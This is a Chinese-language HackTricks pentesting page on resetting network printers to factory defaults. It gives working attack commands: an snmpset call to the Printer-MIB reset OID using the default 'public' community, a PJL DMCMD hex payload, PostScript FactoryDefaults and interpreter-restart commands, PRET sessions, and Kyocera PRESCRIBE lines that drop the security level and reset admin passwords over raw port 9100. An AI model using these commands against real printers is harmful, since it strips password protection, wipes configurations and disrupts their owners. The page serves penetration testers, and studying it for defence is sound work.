零基础学习 AWS 黑客技术直至成为专家 htARTE (HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
将设备**重置**为出厂默认设置是一项安全关键功能,因为它会**覆盖保护机制**,如用户设置的密码。这通常可以通过在打印机的**控制面板**上按下**特殊键组合**来完成。执行这样的冷重置只需几秒钟,因此对于本地攻击者或渗透测试人员来说是一个现实的场景,例如他们可以在午餐时间潜入复印室。然而,**物理访问**设备**并非总是一个选项**。
### SNMP
打印机-MIB 定义了 **prtGeneralReset** 对象(**OID 1.3.6.1.2.1.43.5.1.1.3.1**),它允许攻击者使用 SNMP 重启设备(powerCycleReset(4))、重置 NVRAM 设置(resetToNVRAM(5))或恢复出厂默认设置(resetToFactoryDefaults(6))。这个功能/攻击**被大量打印机支持**,并移除了所有保护机制,如嵌入式网络服务器的用户设置密码。虽然可以有效绕过保护机制,但这种方法的实际缺点是所有**静态 IP 地址配置将丢失**。**如果没有 DHCP** 服务,攻击者在将设备重置为出厂默认设置后将**无法**再次**连接**到设备。
可以使用下面显示的 `snmpset` 命令**将设备重置为出厂默认设置**(您需要知道**社区字符串**,在大多数情况下默认是 `public`):
```bash
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
```
### [PML](./#pml)/[PJL](./#pjl)
在许多情况下,攻击者由于防火墙或未知的SNMP社区字符串而无法执行SNMP请求。然而,在**HP设备**上,**SNMP**可以转换为其**PML表示**,并将请求嵌入到合法的打印作业中。这允许攻击者在普通打印作业中**重新启动和/或重置设备**至出厂默认设置,如下所示:
```bash
@PJL DMCMD ASCIIHEX="040006020501010301040106"
```
任何人都可以使用 [**PRET**](https://github.com/RUB-NDS/PRET) 重现对惠普打印机的攻击,通过重启或重置设备可以轻松复现:
```bash
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
```
### PostScript
PostScript 提供了一个类似的功能:**FactoryDefaults** 系统参数,‘一个标志,如果在**打印机关闭前立即设置为 true**,会导致所有非易失性参数在下次开机时恢复到它们的**出厂默认**值。’ 需要注意的是,**PostScript** 本身也有能力**重启**其**环境**,但它需要一个**有效的密码**。\
然而,PostScript 解释器可以被置入一个**无限循环**,如在 [文档处理](http://hacking-printers.net/wiki/index.php/Document\_processing) DoS 攻击中讨论的那样,这迫使用户**手动重启**设备,从而重置 PostScript 密码。
将 PostScript 系统参数重置为出厂默认值:
```bash
<< /FactoryDefaults true >> setsystemparams
```
重启PostScript解释器和虚拟内存:
```bash
true 0 startjob systemdict /quit get exec
```
任何人都可以重启或重置打印机的PostScript解释器,这可以通过使用[**PRET**](https://github.com/RUB-NDS/PRET) **轻松复现**:
```bash
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
```
### PRESCRIBE
对于 **Kyocera 设备**,**PRESCRIBE 页面** 描述语言可以用来通过下面显示的命令之一,在普通打印作业中将设备**重置为出厂默认设置**:
```bash
!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
!R! ACNT "REST"; CMMT "Reset account code admin password";
!R! EGRE; CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
```
要复现这种攻击,请打开一个到打印机9100/tcp端口的原始网络连接,并**发送上文记录的命令**。
从零开始学习AWS黑客攻击直到成为专家,通过 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。